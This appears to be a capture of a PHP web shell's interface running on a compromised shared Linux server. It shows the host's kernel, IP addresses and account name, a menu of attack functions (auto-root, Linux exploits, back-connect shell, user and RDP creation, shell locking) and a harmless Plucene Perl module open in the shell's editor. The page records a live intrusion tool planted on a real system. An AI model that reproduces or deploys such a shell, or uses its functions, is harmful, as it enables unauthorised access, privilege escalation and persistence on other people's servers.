Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Plucene /
Search /
PhraseScorer /
[ HOME SHELL ]
Name
Size
Permission
Action
Exact.pm
788
B
-rw-r--r--
Sloppy.pm
1.08
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Exact.pm
package Plucene::Search::PhraseScorer::Exact; =head1 NAME Plucene::Search::PhraseScorer::Exact - exact phrase scorer =head1 SYNOPSIS # isa Plucene::Search::PhraseScorer =head1 DESCRIPTION This is the eact phrase scorer =cut use strict; use warnings; use base 'Plucene::Search::PhraseScorer'; sub _phrase_freq { my $self = shift; my $pp = $self->first; while ($pp) { $pp->first_position; push @{ $self->{pq} }, $pp; $pp = $pp->next_in_list; } $self->_pq_to_list; my $freq = 0; do { while ($self->first->position < $self->last->position) { do { return $freq unless $self->first->next_position; } while $self->first->position < $self->last->position; $self->_first_to_last; } $freq++; } while $self->last->next_position; return $freq; } 1;
Close